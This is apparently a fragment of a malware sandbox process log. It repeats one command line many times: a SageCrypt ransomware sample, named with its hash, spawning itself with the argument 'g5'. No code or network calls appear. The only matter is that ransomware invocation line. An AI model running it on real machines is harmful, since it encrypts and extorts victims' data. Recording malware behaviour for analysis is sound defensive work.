C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
